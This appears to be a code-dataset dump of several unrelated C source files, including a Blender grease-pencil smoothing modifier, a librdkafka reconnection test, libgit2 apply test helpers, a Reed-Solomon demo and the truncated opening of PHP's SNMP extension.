filename
stringlengths 3
9
| code
stringlengths 4
1.05M
|
---|---|
959486.c | #define __LIBRARY__
#include <unistd.h>
_syscall1(int,close,int,fd)
|
784151.c | /*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*
* The Original Code is Copyright (C) 2017, Blender Foundation
* This is a new part of Blender
*/
/** \file
* \ingroup modifiers
*/
#include <stdio.h>
#include <string.h> /* For #MEMCPY_STRUCT_AFTER. */
#include "BLI_listbase.h"
#include "BLI_utildefines.h"
#include "BLT_translation.h"
#include "DNA_defaults.h"
#include "DNA_gpencil_modifier_types.h"
#include "DNA_gpencil_types.h"
#include "DNA_meshdata_types.h"
#include "DNA_object_types.h"
#include "DNA_screen_types.h"
#include "BKE_colortools.h"
#include "BKE_context.h"
#include "BKE_deform.h"
#include "BKE_gpencil_geom.h"
#include "BKE_gpencil_modifier.h"
#include "BKE_lib_query.h"
#include "BKE_modifier.h"
#include "BKE_screen.h"
#include "DEG_depsgraph.h"
#include "UI_interface.h"
#include "UI_resources.h"
#include "RNA_access.h"
#include "MOD_gpencil_modifiertypes.h"
#include "MOD_gpencil_ui_common.h"
#include "MOD_gpencil_util.h"
static void initData(GpencilModifierData *md)
{
SmoothGpencilModifierData *gpmd = (SmoothGpencilModifierData *)md;
BLI_assert(MEMCMP_STRUCT_AFTER_IS_ZERO(gpmd, modifier));
MEMCPY_STRUCT_AFTER(gpmd, DNA_struct_default_get(SmoothGpencilModifierData), modifier);
gpmd->curve_intensity = BKE_curvemapping_add(1, 0.0f, 0.0f, 1.0f, 1.0f);
BKE_curvemapping_init(gpmd->curve_intensity);
}
static void copyData(const GpencilModifierData *md, GpencilModifierData *target)
{
SmoothGpencilModifierData *gmd = (SmoothGpencilModifierData *)md;
SmoothGpencilModifierData *tgmd = (SmoothGpencilModifierData *)target;
if (tgmd->curve_intensity != NULL) {
BKE_curvemapping_free(tgmd->curve_intensity);
tgmd->curve_intensity = NULL;
}
BKE_gpencil_modifier_copydata_generic(md, target);
tgmd->curve_intensity = BKE_curvemapping_copy(gmd->curve_intensity);
}
/* aply smooth effect based on stroke direction */
static void deformStroke(GpencilModifierData *md,
Depsgraph *UNUSED(depsgraph),
Object *ob,
bGPDlayer *gpl,
bGPDframe *UNUSED(gpf),
bGPDstroke *gps)
{
SmoothGpencilModifierData *mmd = (SmoothGpencilModifierData *)md;
const int def_nr = BKE_object_defgroup_name_index(ob, mmd->vgname);
const bool use_curve = (mmd->flag & GP_SMOOTH_CUSTOM_CURVE) != 0 && mmd->curve_intensity;
if (!is_stroke_affected_by_modifier(ob,
mmd->layername,
mmd->material,
mmd->pass_index,
mmd->layer_pass,
3,
gpl,
gps,
mmd->flag & GP_SMOOTH_INVERT_LAYER,
mmd->flag & GP_SMOOTH_INVERT_PASS,
mmd->flag & GP_SMOOTH_INVERT_LAYERPASS,
mmd->flag & GP_SMOOTH_INVERT_MATERIAL)) {
return;
}
/* smooth stroke */
if (mmd->factor > 0.0f) {
for (int r = 0; r < mmd->step; r++) {
for (int i = 0; i < gps->totpoints; i++) {
MDeformVert *dvert = gps->dvert != NULL ? &gps->dvert[i] : NULL;
/* verify vertex group */
float weight = get_modifier_point_weight(
dvert, (mmd->flag & GP_SMOOTH_INVERT_VGROUP) != 0, def_nr);
if (weight < 0.0f) {
continue;
}
/* Custom curve to modulate value. */
if (use_curve) {
float value = (float)i / (gps->totpoints - 1);
weight *= BKE_curvemapping_evaluateF(mmd->curve_intensity, 0, value);
}
const float val = mmd->factor * weight;
/* perform smoothing */
if (mmd->flag & GP_SMOOTH_MOD_LOCATION) {
BKE_gpencil_stroke_smooth(gps, i, val);
}
if (mmd->flag & GP_SMOOTH_MOD_STRENGTH) {
BKE_gpencil_stroke_smooth_strength(gps, i, val);
}
if ((mmd->flag & GP_SMOOTH_MOD_THICKNESS) && (val > 0.0f)) {
/* thickness need to repeat process several times */
for (int r2 = 0; r2 < r * 10; r2++) {
BKE_gpencil_stroke_smooth_thickness(gps, i, val);
}
}
if (mmd->flag & GP_SMOOTH_MOD_UV) {
BKE_gpencil_stroke_smooth_uv(gps, i, val);
}
}
}
}
}
static void bakeModifier(struct Main *UNUSED(bmain),
Depsgraph *depsgraph,
GpencilModifierData *md,
Object *ob)
{
bGPdata *gpd = ob->data;
LISTBASE_FOREACH (bGPDlayer *, gpl, &gpd->layers) {
LISTBASE_FOREACH (bGPDframe *, gpf, &gpl->frames) {
LISTBASE_FOREACH (bGPDstroke *, gps, &gpf->strokes) {
deformStroke(md, depsgraph, ob, gpl, gpf, gps);
}
}
}
}
static void freeData(GpencilModifierData *md)
{
SmoothGpencilModifierData *gpmd = (SmoothGpencilModifierData *)md;
if (gpmd->curve_intensity) {
BKE_curvemapping_free(gpmd->curve_intensity);
}
}
static void foreachIDLink(GpencilModifierData *md, Object *ob, IDWalkFunc walk, void *userData)
{
SmoothGpencilModifierData *mmd = (SmoothGpencilModifierData *)md;
walk(userData, ob, (ID **)&mmd->material, IDWALK_CB_USER);
}
static void panel_draw(const bContext *UNUSED(C), Panel *panel)
{
uiLayout *row;
uiLayout *layout = panel->layout;
PointerRNA *ptr = gpencil_modifier_panel_get_property_pointers(panel, NULL);
row = uiLayoutRow(layout, true);
uiItemR(row, ptr, "use_edit_position", UI_ITEM_R_TOGGLE, IFACE_("Position"), ICON_NONE);
uiItemR(row, ptr, "use_edit_strength", UI_ITEM_R_TOGGLE, IFACE_("Strength"), ICON_NONE);
uiItemR(row, ptr, "use_edit_thickness", UI_ITEM_R_TOGGLE, IFACE_("Thickness"), ICON_NONE);
uiItemR(row, ptr, "use_edit_uv", UI_ITEM_R_TOGGLE, IFACE_("UV"), ICON_NONE);
uiLayoutSetPropSep(layout, true);
uiItemR(layout, ptr, "factor", 0, NULL, ICON_NONE);
uiItemR(layout, ptr, "step", 0, IFACE_("Repeat"), ICON_NONE);
gpencil_modifier_panel_end(layout, ptr);
}
static void mask_panel_draw(const bContext *UNUSED(C), Panel *panel)
{
gpencil_modifier_masking_panel_draw(panel, true, true);
}
static void panelRegister(ARegionType *region_type)
{
PanelType *panel_type = gpencil_modifier_panel_register(
region_type, eGpencilModifierType_Smooth, panel_draw);
PanelType *mask_panel_type = gpencil_modifier_subpanel_register(
region_type, "mask", "Influence", NULL, mask_panel_draw, panel_type);
gpencil_modifier_subpanel_register(region_type,
"curve",
"",
gpencil_modifier_curve_header_draw,
gpencil_modifier_curve_panel_draw,
mask_panel_type);
}
GpencilModifierTypeInfo modifierType_Gpencil_Smooth = {
/* name */ "Smooth",
/* structName */ "SmoothGpencilModifierData",
/* structSize */ sizeof(SmoothGpencilModifierData),
/* type */ eGpencilModifierTypeType_Gpencil,
/* flags */ eGpencilModifierTypeFlag_SupportsEditmode,
/* copyData */ copyData,
/* deformStroke */ deformStroke,
/* generateStrokes */ NULL,
/* bakeModifier */ bakeModifier,
/* remapTime */ NULL,
/* initData */ initData,
/* freeData */ freeData,
/* isDisabled */ NULL,
/* updateDepsgraph */ NULL,
/* dependsOnTime */ NULL,
/* foreachIDLink */ foreachIDLink,
/* foreachTexLink */ NULL,
/* panelRegister */ panelRegister,
};
|
94435.c | /*
* librdkafka - Apache Kafka C library
*
* Copyright (c) 2012-2015, Magnus Edenhill
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#include "test.h"
#if WITH_SOCKEM
#include "rdkafka.h"
#include <stdarg.h>
/**
* Verify that consumtion continues after broker connectivity failure.
*/
static int simulate_network_down = 0;
/**
* @brief Sockem connect, called from **internal librdkafka thread** through
* librdkafka's connect_cb
*/
static int connect_cb (struct test *test, sockem_t *skm, const char *id) {
int r;
TEST_LOCK();
r = simulate_network_down;
TEST_UNLOCK();
if (r) {
sockem_close(skm);
return ECONNREFUSED;
} else {
/* Let it go real slow so we dont consume all
* the messages right away. */
sockem_set(skm, "rx.thruput", 100000, NULL);
}
return 0;
}
static int is_fatal_cb (rd_kafka_t *rk, rd_kafka_resp_err_t err,
const char *reason) {
/* Ignore connectivity errors since we'll be bringing down
* .. connectivity.
* SASL auther will think a connection-down even in the auth
* state means the broker doesn't support SASL PLAIN. */
if (err == RD_KAFKA_RESP_ERR__TRANSPORT ||
err == RD_KAFKA_RESP_ERR__ALL_BROKERS_DOWN ||
err == RD_KAFKA_RESP_ERR__AUTHENTICATION)
return 0;
return 1;
}
int main_0049_consume_conn_close (int argc, char **argv) {
rd_kafka_t *rk;
const char *topic = test_mk_topic_name("0049_consume_conn_close", 1);
uint64_t testid;
int msgcnt = test_quick ? 100 : 10000;
test_msgver_t mv;
rd_kafka_conf_t *conf;
rd_kafka_topic_conf_t *tconf;
rd_kafka_topic_partition_list_t *assignment;
rd_kafka_resp_err_t err;
if (!test_conf_match(NULL, "sasl.mechanisms", "GSSAPI")) {
TEST_SKIP("KNOWN ISSUE: ApiVersionRequest+SaslHandshake "
"will not play well with sudden disconnects\n");
return 0;
}
test_conf_init(&conf, &tconf, 60);
/* Want an even number so it is divisable by two without surprises */
msgcnt = (msgcnt / (int)test_timeout_multiplier) & ~1;
testid = test_id_generate();
test_produce_msgs_easy(topic, testid, RD_KAFKA_PARTITION_UA, msgcnt);
test_socket_enable(conf);
test_curr->connect_cb = connect_cb;
test_curr->is_fatal_cb = is_fatal_cb;
test_topic_conf_set(tconf, "auto.offset.reset", "smallest");
rk = test_create_consumer(topic, NULL, conf, tconf);
test_consumer_subscribe(rk, topic);
test_msgver_init(&mv, testid);
test_consumer_poll("consume.up", rk, testid, -1, 0, msgcnt/2, &mv);
err = rd_kafka_assignment(rk, &assignment);
TEST_ASSERT(!err, "assignment() failed: %s", rd_kafka_err2str(err));
TEST_ASSERT(assignment->cnt > 0, "empty assignment");
TEST_SAY("Bringing down the network\n");
TEST_LOCK();
simulate_network_down = 1;
TEST_UNLOCK();
test_socket_close_all(test_curr, 1/*reinit*/);
TEST_SAY("Waiting for session timeout to expire (6s), and then some\n");
/* Commit an offset, which should fail, to trigger the offset commit
* callback fallback (CONSUMER_ERR) */
assignment->elems[0].offset = 123456789;
TEST_SAY("Committing offsets while down, should fail eventually\n");
err = rd_kafka_commit(rk, assignment, 1/*async*/);
TEST_ASSERT(!err, "async commit failed: %s", rd_kafka_err2str(err));
rd_kafka_topic_partition_list_destroy(assignment);
rd_sleep(10);
TEST_SAY("Bringing network back up\n");
TEST_LOCK();
simulate_network_down = 0;
TEST_UNLOCK();
TEST_SAY("Continuing to consume..\n");
test_consumer_poll("consume.up2", rk, testid, -1, msgcnt/2, msgcnt/2,
&mv);
test_msgver_verify("consume", &mv, TEST_MSGVER_ORDER|TEST_MSGVER_DUP,
0, msgcnt);
test_msgver_clear(&mv);
test_consumer_close(rk);
rd_kafka_destroy(rk);
return 0;
}
#endif
|
916982.c |
/*******************************************************************
*
* CAUTION: This file is automatically generated by HSI.
* Version:
* DO NOT EDIT.
*
* Copyright (C) 2010-2017 Xilinx, Inc. All Rights Reserved.*
*Permission is hereby granted, free of charge, to any person obtaining a copy
*of this software and associated documentation files (the Software), to deal
*in the Software without restriction, including without limitation the rights
*to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
*copies of the Software, and to permit persons to whom the Software is
*furnished to do so, subject to the following conditions:
*
*The above copyright notice and this permission notice shall be included in
*all copies or substantial portions of the Software.
*
* Use of the Software is limited solely to applications:
*(a) running on a Xilinx device, or
*(b) that interact with a Xilinx device through a bus or interconnect.
*
*THE SOFTWARE IS PROVIDED AS IS, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
*IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
*FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
*XILINX BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
*WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT
*OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*
*Except as contained in this notice, the name of the Xilinx shall not be used
*in advertising or otherwise to promote the sale, use or other dealings in
*this Software without prior written authorization from Xilinx.
*
*
* Description: Driver configuration
*
*******************************************************************/
#include "xparameters.h"
#include "xtmrctr.h"
/*
* The configuration table for devices
*/
XTmrCtr_Config XTmrCtr_ConfigTable[] =
{
{
XPAR_AXI_TIMER_0_DEVICE_ID,
XPAR_AXI_TIMER_0_BASEADDR,
XPAR_AXI_TIMER_0_CLOCK_FREQ_HZ
}
};
|
622966.c | /*
Copyright 2021 Google LLC
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
#include <stdlib.h>
#include "mylapack.h"
#define N_ 16
void zimatadd(const int nrows,
const int ncols,
double complex *out,
const double complex *in,
const double complex alpha) {
const int m = nrows;
const int n = ncols;
const int mresidual = m % N_;
const int nresidual = n % N_;
const int mlim = m - mresidual;
const int nlim = n - nresidual;
#pragma omp parallel for schedule(static) collapse(2)
for (int i = 0; i < nlim; i += N_) {
for (int j = 0; j < mlim; j += N_) {
for (int ii = 0; ii != N_; ++ii)
for (int jj = 0; jj != N_; ++jj)
out[i + ii + n * (j + jj)] += alpha * in[j + jj + m * (i + ii)];
}
}
#pragma omp parallel for schedule(static)
for (int i = 0; i < nlim; i += N_) {
for (int j = mlim; j != m; ++j) {
for (int ii = 0; ii != N_; ++ii)
out[i + ii + n * j] += alpha * in[j + m * (i + ii)];
}
}
for (int i = nlim; i != n; ++i) {
for (int j = 0; j != mlim; j += N_) {
for (int jj = 0; jj != N_; ++jj)
out[i + n * (j + jj)] += alpha * in[j + jj + m * i];
}
for (int j = mlim; j != m; ++j) {
out[i + n * j] += alpha * in[j + m * i];
}
}
}
void transpose(const int nrows,
const int ncols,
double complex *out,
const double complex *in) {
const int m = nrows;
const int n = ncols;
const int mresidual = m % N_;
const int nresidual = n % N_;
const int mlim = m - mresidual;
const int nlim = n - nresidual;
#pragma omp parallel for schedule(static) collapse(2)
for (int i = 0; i < nlim; i += N_) {
for (int j = 0; j < mlim; j += N_) {
for (int ii = 0; ii != N_; ++ii)
for (int jj = 0; jj != N_; ++jj)
out[i + ii + n * (j + jj)] = in[j + jj + m * (i + ii)];
}
}
#pragma omp parallel for schedule(static)
for (int i = 0; i < nlim; i += N_) {
for (int j = mlim; j != m; ++j) {
for (int ii = 0; ii != N_; ++ii)
out[i + ii + n * j] = in[j + m * (i + ii)];
}
}
for (int i = nlim; i != n; ++i) {
for (int j = 0; j != mlim; j += N_) {
for (int jj = 0; jj != N_; ++jj)
out[i + n * (j + jj)] = in[j + jj + m * i];
}
for (int j = mlim; j != m; ++j) {
out[i + n * j] = in[j + m * i];
}
}
}
|
575985.c | #include <string.h>
#include "Headers/op.h"
#include "Headers/array.h"
#include "Headers/encode.h"
#include "Headers/decode.h"
#define BUFFER_SIZE 100
int main()
{
struct gf_tables *gf_table = malloc(sizeof(struct gf_tables));
gf_table->gf_exp = malloc(sizeof(struct Array));
gf_table->gf_log = malloc(sizeof(struct Array));
initArray(gf_table->gf_exp, 512);
initArray(gf_table->gf_log, 256);
gf_table = init_tables();
printf("##### Reed-Solomon Error Correction #####\n");
printf("Enter the string you want to test and press enter when you're done:\n");
struct Array *msg_in = malloc(sizeof(struct Array));
initArray(msg_in, 50);
char my_msg[BUFFER_SIZE];
fgets( my_msg, sizeof(my_msg), stdin );
for (size_t i = 0; i < strlen(my_msg); i++) {
msg_in->array[i] = (int)my_msg[i];
insertArray(msg_in);
}
printf("Msg in: [");
for (size_t i = 0; i < msg_in->used; i++) {
printf("%u,",msg_in->array[i]);
}
printf("]\n");
struct Array *msg = malloc(sizeof(struct Array));
initArray(msg, 170);
struct Array *err_loc = malloc(sizeof(struct Array));
struct Array *synd = malloc(sizeof(struct Array));
struct Array *pos = malloc(sizeof(struct Array));
struct Array *rev_pos = malloc(sizeof(struct Array));
msg = rs_encode_msg(msg_in, 14, gf_table);
printf("Msg Encoded: [");
for (size_t i = 0; i < msg->used; i++) {
printf("%u,",msg->array[i]);
}
printf("]\n");
//Tempering msg
msg->array[0] = 0;
msg->array[3] = 0;
msg->array[10] = 0;
printf("Msg Tempered: [");
for (size_t i = 0; i < strlen(my_msg); i++) {
printf("%u,",msg->array[i]);
}
printf("]\n");
printf("Msg Tempered: ");
for (size_t i = 0; i < strlen(my_msg); i++) {
printf("%c",msg->array[i]);
}
printf("\n");
printf("Msg Encoded: [");
for (size_t i = 0; i < msg->used; i++) {
printf("%u,",msg->array[i]);
}
printf("]\n");
synd = rs_calc_syndromes(msg, 14, gf_table);
printf("synd : ");
for (size_t i = 0; i < synd->used; i++) {
printf("%u, ",synd->array[i]);
}
printf("\n");
err_loc = rs_find_error_locator(synd, 14, 0, gf_table);
printf("err_loc : ");
for (size_t i = 0; i < err_loc->used; i++) {
printf("%u, ",err_loc->array[i]);
}
printf("\n");
pos = rs_find_errors(reverse_arr(err_loc), msg->used, gf_table);
printf("err_pos : ");
for (size_t i = 0; i < pos->used; i++) {
printf("%u, ",pos->array[i]);
}
printf("\n");
rev_pos = reverse_arr(pos);
printf("Error positions: [");
for (size_t i = 0; i < rev_pos->used; i++) {
printf("%u,", rev_pos->array[i]);
}
printf("]\n");
struct Array *err_pos = malloc(sizeof(struct Array));
initArray(err_pos, 3);
err_pos->array[0] = 0;
msg = rs_correct_msg(msg, 14, err_pos, gf_table);
printf("Msg Corrected: [");
for (size_t i = 0; i < msg->used; i++) {
printf("%u,",msg->array[i]);
}
printf("]\n");
printf("Msg Corrected: ");
for (size_t i = 0; i < strlen(my_msg); i++) {
printf("%c",msg->array[i]);
}
printf("\n");
freeArray(gf_table->gf_exp);
freeArray(gf_table->gf_log);
freeArray(msg_in);
freeArray(msg);
freeArray(synd);
freeArray(pos);
freeArray(rev_pos);
return 0;
}
|
234002.c | #include "clar_libgit2.h"
#include "apply_helpers.h"
struct iterator_compare_data {
struct merge_index_entry *expected;
size_t cnt;
size_t idx;
};
static int iterator_compare(const git_index_entry *entry, void *_data)
{
git_oid expected_id;
struct iterator_compare_data *data = (struct iterator_compare_data *)_data;
cl_assert_equal_i(GIT_INDEX_ENTRY_STAGE(entry), data->expected[data->idx].stage);
cl_git_pass(git_oid_fromstr(&expected_id, data->expected[data->idx].oid_str));
cl_assert_equal_oid(&entry->id, &expected_id);
cl_assert_equal_i(entry->mode, data->expected[data->idx].mode);
cl_assert_equal_s(entry->path, data->expected[data->idx].path);
if (data->idx >= data->cnt)
return -1;
data->idx++;
return 0;
}
void validate_apply_workdir(
git_repository *repo,
struct merge_index_entry *workdir_entries,
size_t workdir_cnt)
{
git_index *index;
git_iterator *iterator;
git_iterator_options opts = GIT_ITERATOR_OPTIONS_INIT;
struct iterator_compare_data data = { workdir_entries, workdir_cnt };
opts.flags |= GIT_ITERATOR_INCLUDE_HASH;
cl_git_pass(git_repository_index(&index, repo));
cl_git_pass(git_iterator_for_workdir(&iterator, repo, index, NULL, &opts));
cl_git_pass(git_iterator_foreach(iterator, iterator_compare, &data));
cl_assert_equal_i(data.idx, data.cnt);
git_iterator_free(iterator);
git_index_free(index);
}
void validate_apply_index(
git_repository *repo,
struct merge_index_entry *index_entries,
size_t index_cnt)
{
git_index *index;
git_iterator *iterator;
struct iterator_compare_data data = { index_entries, index_cnt };
cl_git_pass(git_repository_index(&index, repo));
cl_git_pass(git_iterator_for_index(&iterator, repo, index, NULL));
cl_git_pass(git_iterator_foreach(iterator, iterator_compare, &data));
cl_assert_equal_i(data.idx, data.cnt);
git_iterator_free(iterator);
git_index_free(index);
}
static int iterator_eq(const git_index_entry **entry, void *_data)
{
GIT_UNUSED(_data);
if (!entry[0] || !entry[1])
return -1;
cl_assert_equal_i(GIT_INDEX_ENTRY_STAGE(entry[0]), GIT_INDEX_ENTRY_STAGE(entry[1]));
cl_assert_equal_oid(&entry[0]->id, &entry[1]->id);
cl_assert_equal_i(entry[0]->mode, entry[1]->mode);
cl_assert_equal_s(entry[0]->path, entry[1]->path);
return 0;
}
void validate_index_unchanged(git_repository *repo)
{
git_tree *head;
git_index *index;
git_iterator *head_iterator, *index_iterator, *iterators[2];
cl_git_pass(git_repository_head_tree(&head, repo));
cl_git_pass(git_repository_index(&index, repo));
cl_git_pass(git_iterator_for_tree(&head_iterator, head, NULL));
cl_git_pass(git_iterator_for_index(&index_iterator, repo, index, NULL));
iterators[0] = head_iterator;
iterators[1] = index_iterator;
cl_git_pass(git_iterator_walk(iterators, 2, iterator_eq, NULL));
git_iterator_free(head_iterator);
git_iterator_free(index_iterator);
git_tree_free(head);
git_index_free(index);
}
void validate_workdir_unchanged(git_repository *repo)
{
git_tree *head;
git_index *index;
git_iterator *head_iterator, *workdir_iterator, *iterators[2];
git_iterator_options workdir_opts = GIT_ITERATOR_OPTIONS_INIT;
cl_git_pass(git_repository_head_tree(&head, repo));
cl_git_pass(git_repository_index(&index, repo));
workdir_opts.flags |= GIT_ITERATOR_INCLUDE_HASH;
cl_git_pass(git_iterator_for_tree(&head_iterator, head, NULL));
cl_git_pass(git_iterator_for_workdir(&workdir_iterator, repo, index, NULL, &workdir_opts));
iterators[0] = head_iterator;
iterators[1] = workdir_iterator;
cl_git_pass(git_iterator_walk(iterators, 2, iterator_eq, NULL));
git_iterator_free(head_iterator);
git_iterator_free(workdir_iterator);
git_tree_free(head);
git_index_free(index);
}
|
213744.c | /*
+----------------------------------------------------------------------+
| PHP Version 7 |
+----------------------------------------------------------------------+
| Copyright (c) 1997-2016 The PHP Group |
+----------------------------------------------------------------------+
| This source file is subject to version 3.01 of the PHP license, |
| that is bundled with this package in the file LICENSE, and is |
| available through the world-wide-web at the following url: |
| http://www.php.net/license/3_01.txt |
| If you did not receive a copy of the PHP license and are unable to |
| obtain it through the world-wide-web, please send a note to |
| [email protected] so we can mail you a copy immediately. |
+----------------------------------------------------------------------+
| Authors: Rasmus Lerdorf <[email protected]> |
| Mike Jackson <[email protected]> |
| Steven Lawrance <[email protected]> |
| Harrie Hazewinkel <[email protected]> |
| Johann Hanne <[email protected]> |
| Boris Lytockin <[email protected]> |
+----------------------------------------------------------------------+
*/
/* $Id$ */
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#include "php.h"
#include "main/php_network.h"
#include "ext/standard/info.h"
#include "php_snmp.h"
#include "zend_exceptions.h"
#include "ext/spl/spl_exceptions.h"
#if HAVE_SNMP
#include <sys/types.h>
#ifdef PHP_WIN32
#include <winsock2.h>
#include <errno.h>
#include <process.h>
#include "win32/time.h"
#elif defined(NETWARE)
#ifdef USE_WINSOCK
#include <novsock2.h>
#else
#include <sys/socket.h>
#endif
#include <errno.h>
#include <sys/timeval.h>
#else
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#ifndef _OSD_POSIX
#include <sys/errno.h>
#else
#include <errno.h> /* BS2000/OSD uses <errno.h>, not <sys/errno.h> */
#endif
#include <netdb.h>
#endif
#ifdef HAVE_UNISTD_H
#include <unistd.h>
#endif
#ifndef __P
#ifdef __GNUC__
#define __P(args) args
#else
#define __P(args) ()
#endif
#endif
#include <net-snmp/net-snmp-config.h>
#include <net-snmp/net-snmp-includes.h>
/* For net-snmp prior to 5.4 */
#ifndef HAVE_SHUTDOWN_SNMP_LOGGING
extern netsnmp_log_handler *logh_head;
#define shutdown_snmp_logging() \
{ \
snmp_disable_log(); \
while(NULL != logh_head) \
netsnmp_remove_loghandler( logh_head ); \
}
#endif
#define SNMP_VALUE_LIBRARY (0 << 0)
#define SNMP_VALUE_PLAIN (1 << 0)
#define SNMP_VALUE_OBJECT (1 << 1)
typedef struct snmp_session php_snmp_session;
#define PHP_SNMP_SESSION_RES_NAME "SNMP session"
#define PHP_SNMP_ADD_PROPERTIES(a, b) \
{ \
int i = 0; \
while (b[i].name != NULL) { \
php_snmp_add_property((a), (b)[i].name, (b)[i].name_length, \
(php_snmp_read_t)(b)[i].read_func, (php_snmp_write_t)(b)[i].write_func); \
i++; \
} \
}
#define PHP_SNMP_ERRNO_NOERROR 0
#define PHP_SNMP_ERRNO_GENERIC (1 << 1)
#define PHP_SNMP_ERRNO_TIMEOUT (1 << 2)
#define PHP_SNMP_ERRNO_ERROR_IN_REPLY (1 << 3)
#define PHP_SNMP_ERRNO_OID_NOT_INCREASING (1 << 4)
#define PHP_SNMP_ERRNO_OID_PARSING_ERROR (1 << 5)
#define PHP_SNMP_ERRNO_MULTIPLE_SET_QUERIES (1 << 6)
#define PHP_SNMP_ERRNO_ANY ( \
PHP_SNMP_ERRNO_GENERIC | \
PHP_SNMP_ERRNO_TIMEOUT | \
PHP_SNMP_ERRNO_ERROR_IN_REPLY | \
PHP_SNMP_ERRNO_OID_NOT_INCREASING | \
PHP_SNMP_ERRNO_OID_PARSING_ERROR | \
PHP_SNMP_ERRNO_MULTIPLE_SET_QUERIES | \
PHP_SNMP_ERRNO_NOERROR \
)
ZEND_DECLARE_MODULE_GLOBALS(snmp)
static PHP_GINIT_FUNCTION(snmp);
/* constant - can be shared among threads */
static oid objid_mib[] = {1, 3, 6, 1, 2, 1};
static int le_snmp_session;
/* Handlers */
static zend_object_handlers php_snmp_object_handlers;
/* Class entries */
zend_class_entry *php_snmp_ce;
zend_class_entry *php_snmp_exception_ce;
/* Class object properties */
static HashTable php_snmp_properties;
/* {{{ arginfo */
ZEND_BEGIN_ARG_INFO_EX(arginfo_snmpget, 0, 0, 3)
ZEND_ARG_INFO(0, host)
ZEND_ARG_INFO(0, community)
ZEND_ARG_INFO(0, object_id)
ZEND_ARG_INFO(0, timeout)
ZEND_ARG_INFO(0, retries)
ZEND_END_ARG_INFO()
ZEND_BEGIN_ARG_INFO_EX(arginfo_snmpgetnext, 0, 0, 3)
ZEND_ARG_INFO(0, host)
ZEND_ARG_INFO(0, community)
ZEND_ARG_INFO(0, object_id)
ZEND_ARG_INFO(0, timeout)
ZEND_ARG_INFO(0, retries)
ZEND_END_ARG_INFO()
ZEND_BEGIN_ARG_INFO_EX(arginfo_snmpwalk, 0, 0, 3)
ZEND_ARG_INFO(0, host)
ZEND_ARG_INFO(0, community)
ZEND_ARG_INFO(0, object_id)
ZEND_ARG_INFO(0, timeout)
ZEND_ARG_INFO(0, retries)
ZEND_END_ARG_INFO()
ZEND_BEGIN_ARG_INFO_EX(arginfo_snmprealwalk, 0, 0, 3)
ZEND_ARG_INFO(0, host)
ZEND_ARG_INFO(0, community)
ZEND_ARG_INFO(0, object_id)
ZEND_ARG_INFO(0, timeout)
ZEND_ARG_INFO(0, retries)
ZEND_END_ARG_INFO()
ZEND_BEGIN_ARG_INFO_EX(arginfo_snmpset, 0, 0, 5)
ZEND_ARG_INFO(0, host)
ZEND_ARG_INFO(0, community)
ZEND_ARG_INFO(0, object_id)
ZEND_ARG_INFO(0, type)
ZEND_ARG_INFO(0, value)
ZEND_ARG_INFO(0, timeout)
ZEND_ARG_INFO(0, retries)
ZEND_END_ARG_INFO()
ZEND_BEGIN_ARG_INFO_EX(arginfo_snmp_get_quick_print, 0, 0, 1)
ZEND_ARG_INFO(0, d)
ZEND_END_ARG_INFO()
ZEND_BEGIN_ARG_INFO_EX(arginfo_snmp_set_quick_print, 0, 0, 1)
ZEND_ARG_INFO(0, quick_print)
ZEND_END_ARG_INFO()
ZEND_BEGIN_ARG_INFO_EX(arginfo_snmp_set_enum_print, 0, 0, 1)
ZEND_ARG_INFO(0, enum_print)
ZEND_END_ARG_INFO()
ZEND_BEGIN_ARG_INFO_EX(arginfo_snmp_set_oid_output_format, 0, 0, 1)
ZEND_ARG_INFO(0, oid_format)
ZEND_END_ARG_INFO()
ZEND_BEGIN_ARG_INFO_EX(arginfo_snmp2_get, 0, 0, 3)
